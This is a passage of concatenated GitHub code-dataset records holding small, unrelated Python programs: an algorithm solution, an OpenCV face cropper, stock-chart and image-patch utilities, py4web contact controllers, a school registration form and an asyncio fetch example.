range(n):\r\n d[arr_v[i]].append(i)\r\n for i in range(n):\r\n for j in range(i+1, n):\r\n v = arr[i][0]+arr[j][0]\r\n if x-v in d:\r\n for k in d[x-v]:\r\n if i < k < j:\r\n print(arr[i][1]+1, arr[j][1]+1, arr[k][1]+1)\r\n return\r\n print(\"IMPOSSIBLE\")\r\n\r\nsolve(arr, arr_v, n, x)", "repo_name": "Azim-Islam/Problem-Solving-DSA", "sub_path": "USACO.GUIDE/SILVER/CSES_1641.py", "file_name": "CSES_1641.py", "file_ext": "py", "file_size_in_byte": 731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdin", "line_number": 3, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 14, "usage_type": "call"}]} {"seq_id": "7138199436", "text": "import cv2\nimport os\n\nclass FaceExtractor:\n def __init__(self):\n # Load the input image\n self.input_image_path = 'ClassUpload/SwimTeam.jpeg'\n self.input_image = cv2.imread(self.input_image_path)\n if self.input_image is None:\n print('Error: could not load image')\n exit()\n\n # Load the face detection classifier\n self.face_cascade = cv2.CascadeClassifier('env/lib/python3.8/site-packages/cv2/data/haarcascade_frontalface_default.xml')\n\n def extract(self):\n # Detect faces in the image\n self.faces = self.face_cascade.detectMultiScale(self.input_image, scaleFactor=1.1, minNeighbors=5)\n\n # Create a directory to store the cropped face images\n self.output_dir = 'Classes'\n if not os.path.exists(self.output_dir):\n os.makedirs(self.output_dir)\n\n # Crop and save each face as a separate image\n for i, (x, y, w, h) in enumerate(self.faces):\n self.face_image = self.input_image[y:y+h, x:x+w]\n self.output_image_path = os.path.join(self.output_dir, f'face_{i}.jpg')\n cv2.imwrite(self.output_image_path, self.face_image)\n", "repo_name": "dadada629/Attendance-Robot", "sub_path": "FaceExtractor.py", "file_name": "FaceExtractor.py", "file_ext": "py", "file_size_in_byte": 1174, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 29, "usage_type": "call"}]} {"seq_id": "9751348828", "text": "from datetime import datetime\nfrom pathlib import Path\n\nfrom pandas import DataFrame\n\nfrom src.repository import BarsRepo\nfrom src.utils.candlestick_chart import save_chart\n\n\ndef save_snapshot_for_gap(gap, bars_df: DataFrame, bars_before: int, bars_after: int, path: str):\n gap_index = bars_df[bars_df['datetime_at'] == gap['datetime_at']].index.tolist()[0]\n df_snapshot = bars_df.iloc[max(gap_index - bars_before, 0):(gap_index + bars_after + 1)]\n save_chart(df_snapshot, path)\n\n\ndef save_chart_images_with_gaps(bars_repo: BarsRepo, bars_before: int, bars_after: int, min_gap_size: float):\n gaps_per_symbol = bars_repo.get_gaps_per_symbol(min_gap_size)\n for symbol, gaps in gaps_per_symbol.items():\n print(f'processing: {symbol}')\n folder_path = f'{bars_repo.chart_images_base_path}/{bars_repo.timeframe}/{symbol}'\n Path(folder_path).mkdir(parents=True, exist_ok=True)\n bars_df = bars_repo.get_market_hours_bars(symbol)\n for gap in gaps:\n path = f'{folder_path}/{int(datetime.fromisoformat(gap[\"datetime_at\"]).timestamp())}_{bars_before}_{bars_after}'\n save_snapshot_for_gap(gap, bars_df, bars_before, bars_after, path)\n", "repo_name": "JameStitel/Price-gaps-in-the-stock-market-empirical", "sub_path": "src/C_chart_creator.py", "file_name": "C_chart_creator.py", "file_ext": "py", "file_size_in_byte": 1193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 10, "usage_type": "name"}, {"api_name": "src.utils.candlestick_chart.save_chart", "line_number": 13, "usage_type": "call"}, {"api_name": "src.repository.BarsRepo", "line_number": 16, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "name"}]} {"seq_id": "40076130216", "text": "import os\nimport numpy as np\nimport tensorflow as tf\nfrom skimage.io import imread\nfrom skimage.transform import resize\nimport math\nimport cv2\n\nclass Batch_Create(tf.keras.utils.Sequence):\n\n def __init__(self, x_set, y_set, batch_size):\n self.x, self.y = x_set, y_set\n self.batch_size = batch_size\n\n def __len__(self):\n return math.ceil(len(self.x) / self.batch_size)\n\n def __getitem__(self, idx):\n print(idx)\n\n batch_x = self.x[idx * self.batch_size:(idx + 1) *\n self.batch_size]\n batch_y = self.y[idx * self.batch_size:(idx + 1) *\n self.batch_size]\n\n return batch_x, batch_y\n\ndef data_load(input_path, mask_path):\n # npy array load 후 patch function에 넣기\n image_list = os.listdir(input_path)\n image_list = [file for file in image_list if file.startswith('input_')]\n label_list = os.listdir(mask_path)\n label_list = [file for file in label_list if file.startswith('mask_')]\n\n iteration_num = len(image_list)\n\n return image_list, label_list, iteration_num\n\ndef read_image_normal(data_list, path):\n data_Num = len(data_list)\n total_image_list = []\n\n for i in range(data_Num):\n image_array = cv2.imread(os.path.join(path, data_list[i]), cv2.IMREAD_COLOR)\n # image_array = image_array / 255.0 -> 일단 하지말자 fcn_model에서는 전이 학습할때 이걸 normalization 해주는거 같음.\n total_image_list.append(image_array)\n\n return total_image_list\n\ndef read_mask_normal(data_list, path):\n data_Num = len(data_list)\n total_mask_list = []\n\n for i in range(data_Num):\n image_array = cv2.imread(os.path.join(path, data_list[i]), cv2.IMREAD_GRAYSCALE)\n # image_array = image_array / 255.0 -> mask image는 preprocess할때 normalization 완료.\n total_mask_list.append(image_array)\n\n return total_mask_list\n\ndef create_patch(npy_image, npy_mask, patch_size, overlay):\n # input : (batch_size, h, w, 3), mask : (batch_size, h, w, 1)\n\n step = patch_size - overlay\n for row in range(0, npy_image.shape[1] - overlay, step):\n for col in range(0, npy_image.shape[2] - overlay, step):\n patch_image_height = patch_size if npy_image.shape[1] - row > patch_size else npy_image.shape[1] - row\n patch_image_width = patch_size if npy_image.shape[2] - col > patch_size else npy_image.shape[1] - col\n\n patch_image = npy_image[:, row : row + patch_image_height, col : col + patch_image_width]\n patch_mask = npy_mask[:, row : row + patch_image_height, col : col + patch_image_width]\n\n # zero padding\n if patch_image_height < patch_size or patch_image_width < patch_size:\n pad_height = patch_size - patch_image_height\n pad_width = patch_size - patch_image_width\n patch_image = np.pad(patch_image, ((0, 0), (0, pad_height), (0, pad_width), (0, 0)), 'constant')\n patch_mask = np.pad(patch_mask, ((0, 0), (0, pad_height), (0, pad_width), (0, 0)), 'constant')\n\n yield patch_image, patch_mask, row, col\n\n", "repo_name": "sangheonEN/segmentation_tf_v1_fcn", "sub_path": "data_load.py", "file_name": "data_load.py", "file_ext": "py", "file_size_in_byte": 3182, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.keras", "line_number": 9, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 16, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 78, "usage_type": "call"}]} {"seq_id": "70415952230", "text": "\"\"\"\nThis file defines actions, i.e. functions the URLs are mapped into\nThe @action(path) decorator exposed the function at URL:\n\n http://127.0.0.1:8000/{app_name}/{path}\n\nIf app_name == '_default' then simply\n\n http://127.0.0.1:8000/{path}\n\nIf path == 'index' it can be omitted:\n\n http://127.0.0.1:8000/\n\nThe path follows the bottlepy syntax.\n\n@action.uses('generic.html') indicates that the action uses the generic.html template\n@action.uses(session) indicates that the action uses the session\n@action.uses(db) indicates that the action uses the db\n@action.uses(T) indicates that the action uses the i18n & pluralization\n@action.uses(auth.user) indicates that the action requires a logged in user\n@action.uses(auth) indicates that the action requires the auth object\n\nsession, db, T, auth, and tempates are examples of Fixtures.\nWarning: Fixtures MUST be declared with @action.uses({fixtures}) else your app will result in undefined behavior\n\"\"\"\n\nfrom py4web import action, request, abort, redirect, URL\nfrom yatl.helpers import A\nfrom .common import db, session, T, cache, auth, logger, authenticated, unauthenticated, flash\nfrom py4web.utils.url_signer import URLSigner\nfrom .models import get_user_email\n\nfrom py4web.utils.form import Form, FormStyleBulma\nfrom .common import Field\n\nurl_signer = URLSigner(session)\n\n@action('index')\n@action.uses(db, auth, 'index.html')\ndef index():\n print(\"User:\", get_user_email())\n rows = db(db.contact.user_email == get_user_email()).select()\n return dict(rows=rows, url_signer=url_signer)\n\n@action('add_contact', method=[\"GET\", \"POST\"]) # the :int means: please convert this to an int.\n@action.uses(db, session, auth.user, 'add_contact.html')\ndef add():\n form = Form(db.contact, csrf_session=session, formstyle=FormStyleBulma)\n if form.accepted:\n redirect(URL('index'))\n return dict(form=form)\n\n@action('edit_contact/', method=[\"GET\", \"POST\"])\n@action.uses(db, session, auth.user, 'edit_contact.html')\ndef edit(contact_id=None):\n assert contact_id is not None\n assert get_user_email() is not None\n p = db.contact[contact_id]\n print(p)\n if p is None:\n redirect(URL('index'))\n form = Form(db.contact, record=p, deletable=False, csrf_session=session, formstyle=FormStyleBulma)\n if form.accepted:\n redirect(URL('index'))\n return dict(form=form)\n\n@action('delete_contact/')\n@action.uses(db, session, auth.user)\ndef delete(contact_id=None):\n assert contact_id is not None\n assert get_user_email() is not None\n p = db.contact[contact_id]\n # print(db.bird[bird_id]['bird'])\n # print(db.bird[bird_id]['n_sightings'])\n # db.bird.update_or_insert(\n # db.bird.bird==db.bird[bird_id]['bird'],\n # bird=db.bird[bird_id]['bird'],\n # n_sightings=db.bird[bird_id]['n_sightings'] + 1\n # )\n p.delete_record()\n redirect(URL('index'))\n\n@action('edit_phones/')\n@action.uses(db, auth.user, 'edit_phones.html')\ndef editphones(contact_id=None):\n assert contact_id is not None\n assert get_user_email() is not None\n #print(\"User:\", get_user_email())\n rows = db(db.phone.contact_id == contact_id).select()\n return dict(rows=rows, contact_id=contact_id, url_signer=url_signer)\n\n@action('add_phone/', method=[\"GET\", \"POST\"])\n@action.uses(db, auth.user, session, 'add_phone.html')\ndef addphone(contact_id=None):\n assert contact_id is not None\n assert get_user_email() is not None\n #print(\"User:\", get_user_email())\n form = Form([Field('phone_number'), Field('phone_name')], csrf_session=session,\n formstyle=FormStyleBulma)\n if form.accepted:\n db.phone.insert(\n contact_id=contact_id,\n phone_number=form.vars[\"phone_number\"],\n phone_name=form.vars[\"phone_name\"]\n )\n redirect(URL('index'))\n return dict(form=form)\n", "repo_name": "niecoope/cse183hw4", "sub_path": "controllers.py", "file_name": "controllers.py", "file_ext": "py", "file_size_in_byte": 3961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "py4web.utils.url_signer.URLSigner", "line_number": 37, "usage_type": "call"}, {"api_name": "common.session", "line_number": 37, "usage_type": "argument"}, {"api_name": "models.get_user_email", "line_number": 42, "usage_type": "call"}, {"api_name": "common.db", "line_number": 43, "usage_type": "call"}, {"api_name": "common.db.contact", "line_number": 43, "usage_type": "attribute"}, {"api_name": "models.get_user_email", "line_number": 43, "usage_type": "call"}, {"api_name": "py4web.action", "line_number": 39, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 40, "usage_type": "call"}, {"api_name": "common.db", "line_number": 40, "usage_type": "argument"}, {"api_name": "common.auth", "line_number": 40, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 40, "usage_type": "name"}, {"api_name": "py4web.utils.form.Form", "line_number": 49, "usage_type": "call"}, {"api_name": "common.db.contact", "line_number": 49, "usage_type": "attribute"}, {"api_name": "common.db", "line_number": 49, "usage_type": "name"}, {"api_name": "common.session", "line_number": 49, "usage_type": "name"}, {"api_name": "py4web.utils.form.FormStyleBulma", "line_number": 49, "usage_type": "name"}, {"api_name": "py4web.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "py4web.URL", "line_number": 51, "usage_type": "call"}, {"api_name": "py4web.action", "line_number": 46, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 47, "usage_type": "call"}, {"api_name": "common.db", "line_number": 47, "usage_type": "argument"}, {"api_name": "common.session", "line_number": 47, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 47, "usage_type": "name"}, {"api_name": "common.auth.user", "line_number": 47, "usage_type": "attribute"}, {"api_name": "common.auth", "line_number": 47, "usage_type": "name"}, {"api_name": "models.get_user_email", "line_number": 58, "usage_type": "call"}, {"api_name": "common.db.contact", "line_number": 59, "usage_type": "attribute"}, {"api_name": "common.db", "line_number": 59, "usage_type": "name"}, {"api_name": "py4web.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "py4web.URL", "line_number": 62, "usage_type": "call"}, {"api_name": "py4web.utils.form.Form", "line_number": 63, "usage_type": "call"}, {"api_name": "common.db.contact", "line_number": 63, "usage_type": "attribute"}, {"api_name": "common.db", "line_number": 63, "usage_type": "name"}, {"api_name": "common.session", "line_number": 63, "usage_type": "name"}, {"api_name": "py4web.utils.form.FormStyleBulma", "line_number": 63, "usage_type": "name"}, {"api_name": "py4web.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "py4web.URL", "line_number": 65, "usage_type": "call"}, {"api_name": "py4web.action", "line_number": 54, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 55, "usage_type": "call"}, {"api_name": "common.db", "line_number": 55, "usage_type": "argument"}, {"api_name": "common.session", "line_number": 55, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 55, "usage_type": "name"}, {"api_name": "common.auth.user", "line_number": 55, "usage_type": "attribute"}, {"api_name": "common.auth", "line_number": 55, "usage_type": "name"}, {"api_name": "models.get_user_email", "line_number": 72, "usage_type": "call"}, {"api_name": "common.db.contact", "line_number": 73, "usage_type": "attribute"}, {"api_name": "common.db", "line_number": 73, "usage_type": "name"}, {"api_name": "py4web.redirect", "line_number": 82, "usage_type": "call"}, {"api_name": "py4web.URL", "line_number": 82, "usage_type": "call"}, {"api_name": "py4web.action", "line_number": 68, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 69, "usage_type": "call"}, {"api_name": "common.db", "line_number": 69, "usage_type": "argument"}, {"api_name": "common.session", "line_number": 69, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 69, "usage_type": "name"}, {"api_name": "common.auth.user", "line_number": 69, "usage_type": "attribute"}, {"api_name": "common.auth", "line_number": 69, "usage_type": "name"}, {"api_name": "models.get_user_email", "line_number": 88, "usage_type": "call"}, {"api_name": "common.db", "line_number": 90, "usage_type": "call"}, {"api_name": "common.db.phone", "line_number": 90, "usage_type": "attribute"}, {"api_name": "py4web.action", "line_number": 84, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 85, "usage_type": "call"}, {"api_name": "common.db", "line_number": 85, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 85, "usage_type": "name"}, {"api_name": "common.auth.user", "line_number": 85, "usage_type": "attribute"}, {"api_name": "common.auth", "line_number": 85, "usage_type": "name"}, {"api_name": "models.get_user_email", "line_number": 97, "usage_type": "call"}, {"api_name": "py4web.utils.form.Form", "line_number": 99, "usage_type": "call"}, {"api_name": "common.Field", "line_number": 99, "usage_type": "call"}, {"api_name": "common.session", "line_number": 99, "usage_type": "name"}, {"api_name": "py4web.utils.form.FormStyleBulma", "line_number": 100, "usage_type": "name"}, {"api_name": "common.db.phone.insert", "line_number": 102, "usage_type": "call"}, {"api_name": "common.db.phone", "line_number": 102, "usage_type": "attribute"}, {"api_name": "common.db", "line_number": 102, "usage_type": "name"}, {"api_name": "py4web.redirect", "line_number": 107, "usage_type": "call"}, {"api_name": "py4web.URL", "line_number": 107, "usage_type": "call"}, {"api_name": "py4web.action", "line_number": 93, "usage_type": "call"}, {"api_name": "py4web.action.uses", "line_number": 94, "usage_type": "call"}, {"api_name": "common.db", "line_number": 94, "usage_type": "argument"}, {"api_name": "common.session", "line_number": 94, "usage_type": "argument"}, {"api_name": "py4web.action", "line_number": 94, "usage_type": "name"}, {"api_name": "common.auth.user", "line_number": 94, "usage_type": "attribute"}, {"api_name": "common.auth", "line_number": 94, "usage_type": "name"}]} {"seq_id": "35982665753", "text": "import PySimpleGUIWeb as sg\nimport pyautogui\n\ninput_file = open('input.txt', 'w')\ninput = \"\"\n\nsg.theme('Material1')\n\ngender_choices = ('Bitte auswählen', 'männlich', 'weiblich', 'divers')\nday_choices = ('Bitte auswählen', 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31)\nmonth_choices = ('Bitte auswählen', 'Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')\nyear_choices = ('Bitte auswählen', 2015, 2014, 2013, 2012, 2011, 2010, 2009, 2008, 2007, 2006, 2005, 2004)\n\nlayout = [\n [sg.Text('Anmeldung am Dietrich-Bonhoeffer-Gymnasium Eppelheim:', font='Helvetica 24')],\n [sg.Text('')],\n [sg.Text('Schüler/in:', font='Helvetica 18')],\n [sg.Text('Name', size=(30, 1)), sg.InputText()],\n [sg.Text('Vorname', size=(30, 1)), sg.InputText()],\n [sg.Text('Geschlecht', size=(30, 1)), sg.Combo(gender_choices, default_value='')],\n [sg.Text('Geburtsdatum', size=(30, 1)), sg.Combo(day_choices, default_value='', size=(5, 1)), sg.Combo(month_choices, default_value='', size=(11, 1)), sg.Combo(year_choices, default_value='', size=(7, 1))],\n [sg.Text('Geburtsort', size=(30, 1)), sg.InputText()],\n [sg.Text('Straße und Hausnummer', size=(30, 1)), sg.InputText()],\n [sg.Text('Postleitzahl', size=(30, 1)), sg.InputText()],\n [sg.Text('Wohnort', size=(30, 1)), sg.InputText()],\n [sg.Text('Land / Bundesland', size=(30, 1)), sg.InputText()],\n [sg.Text('Antragsdatum', size=(30, 1)), sg.InputText()],\n [sg.Text('Telefonnummern (Festnetz, Mobiltelefon)', size=(30, 1)), sg.InputText()],\n [sg.Text('E-Mail', size=(30, 1)), sg.InputText()],\n [sg.Text('')],\n [sg.Text('Erziehungsberechtigte/r:', font='Helvetica 18')],\n [sg.Text('Name', size=(30, 1)), sg.InputText()],\n [sg.Text('Vorname', size=(30, 1)), sg.InputText()],\n [sg.Text('Straße und Hausnummer', size=(30, 1)), sg.InputText()],\n [sg.Text('Postleitzahl', size=(30, 1)), sg.InputText()],\n [sg.Text('Wohnort', size=(30, 1)), sg.InputText()],\n [sg.Text('Land', size=(30, 1)), sg.InputText()],\n [sg.Text('Telefonnummern (Festnetz, Mobiltelefon)', size=(30, 1)), sg.InputText()],\n [sg.Text('E-Mail', size=(30, 1)), sg.InputText()],\n [sg.Text('')],\n [sg.Text('Angaben zur zuletzt besuchten Schule:', font='Helvetica 18')],\n [sg.Text('Schulart', size=(30, 1)), sg.InputText()],\n [sg.Text('Schulname', size=(30, 1)), sg.InputText()],\n [sg.Text('Ort', size=(30, 1)), sg.InputText()],\n [sg.Text('')],\n [sg.Text('Fächer und Noten:', font='Helvetica 18')],\n [sg.Text('Deutsch', size=(30, 1)), sg.InputText()],\n [sg.Text('Englisch', size=(30, 1)), sg.InputText()],\n [sg.Text('Mathematik', size=(30, 1)), sg.InputText()],\n [sg.Text('')],\n [sg.Submit('Einreichen'), sg.Cancel('Abbrechen')],\n [sg.Text('')],\n]\n\nwindow = sg.Window('Anmeldung am Dietrich-Bonhoeffer-Gymnasium Eppelheim', layout, web_port=3141, web_start_browser=True)\nevent, values = window.read()\nwindow.close()\npyautogui.keyDown('ctrl')\npyautogui.press('w')\npyautogui.keyUp('ctrl')\nprint(event, values)\nfor value in range(0, len(values)):\n input += str(values.get(value))+\"\\n\"\nnew_input = \"\"\nfor letter in input:\n if letter == \"ä\":\n new_input += \"ae\"\n elif letter == \"Ä\":\n new_input += \"Ae\"\n elif letter == \"ö\":\n new_input += \"oe\"\n elif letter == \"Ö\":\n new_input += \"Oe\"\n elif letter == \"ü\":\n new_input += \"ue\"\n elif letter == \"Ü\":\n new_input += \"Ue\"\n else:\n new_input += letter\nif event == \"Einreichen\":\n input_file.writelines(new_input)\ninput_file.close()\n", "repo_name": "melurke/PySimpleGUI", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3685, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PySimpleGUIWeb.theme", "line_number": 7, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 15, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 16, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 17, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 18, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 18, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 19, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 19, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 20, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Combo", "line_number": 20, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 21, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Combo", "line_number": 21, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 22, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 22, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 23, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 23, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 24, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 24, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 25, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 25, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 26, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 26, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 27, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 27, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 28, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 28, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 30, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 31, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 32, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 32, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 33, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 33, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 34, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 34, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 35, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 35, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 36, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 36, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 37, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 37, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 38, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 38, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 39, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 39, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 40, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 41, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 42, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 42, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 43, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 43, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 44, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 44, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 45, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 46, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 47, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 47, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 48, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 48, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 49, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.InputText", "line_number": 49, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 50, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Submit", "line_number": 51, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Cancel", "line_number": 51, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Text", "line_number": 52, "usage_type": "call"}, {"api_name": "PySimpleGUIWeb.Window", "line_number": 55, "usage_type": "call"}, {"api_name": "pyautogui.keyDown", "line_number": 58, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 59, "usage_type": "call"}, {"api_name": "pyautogui.keyUp", "line_number": 60, "usage_type": "call"}]} {"seq_id": "12209957723", "text": "'''\nSection 3\nConcurrency, CPU Bound vs I/O Bound(3) - threading vs asyncio vs multiprocessing\nKeyword - I/O Bound, requests, multiprocessing, asyncio\n'''\nimport time\nimport asyncio\nimport aiohttp\n\n# IO bound Asyncio 예제\n# threading 보다 높은 코드 복잡도 -> async , await 적절하게 코딩\n\n# 실행함수1(다운로드)\nasync def request_site(session, url):\n # 세셕 획득\n # \n \n #세션확인\n print(session)\n \n async with session.get(url) as response:\n print(f'Read Contents {0}, from {1}'.format(response.status_code, url))\n\n# 실행함수2(요청)\nasync def request_all_sites(urls):\n async with aiohttp.ClientSession() as session:\n # 작업 목록\n tasks = []\n for url in urls:\n #태스크 목록 생성\n task = asyncio.ensure_future(request_site(session, url))\n tasks.append(task)\n \n # task 확인\n print(*tasks)\n print(tasks)\n \n await asyncio.gather(*tasks, return_exceptions=True)\ndef main():\n # 테스트 URLS\n urls = [\n \"https://www.jython.org\",\n \"https://www.naver.com\",\n \"https://yahoo.com\"\n ]*3\n \n # 실행시간 측정\n start_time = time.time()\n \n # 실행\n asyncio.run(request_all_sites(urls))\n \n # 실행 시간 종료\n duration = time.time() - start_time\n \n print()\n \n # 결과\n print(f'Downloaded {len(urls)} sites in {duration} seconds')\n \nif __name__ == \"__main__\":\n main()\n", "repo_name": "crescentfull/selfStudy_code", "sub_path": "TIL/language/python/inflearn/동시성_병렬성_문법/py_ad_3_5_4.py", "file_name": "py_ad_3_5_4.py", "file_ext": "py", "file_size_in_byte": 1520, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "aiohttp.ClientSession", "line_number": 26, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 31, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 48, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 51, "usage_type": "call"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}]} {"seq_id": "25407823926", "text": "import json\nimport requests\nfrom easygui import choicebox, enterbox\n\nfrom helper import project_api_id, access_token, base_url\n\ntitle = \"JamaScript\"\ndisplay = \"\"\nartifact_result = \"\"\nmain_components_result = \"\"\ncomponent_ids = []\ntest_management_ids = []\ntarget_item_id = 0\nuser_choice = 0\nmain_selection = 0\nmain2_selection = 0\ntotal_items_imported = 0\noriginal_count = 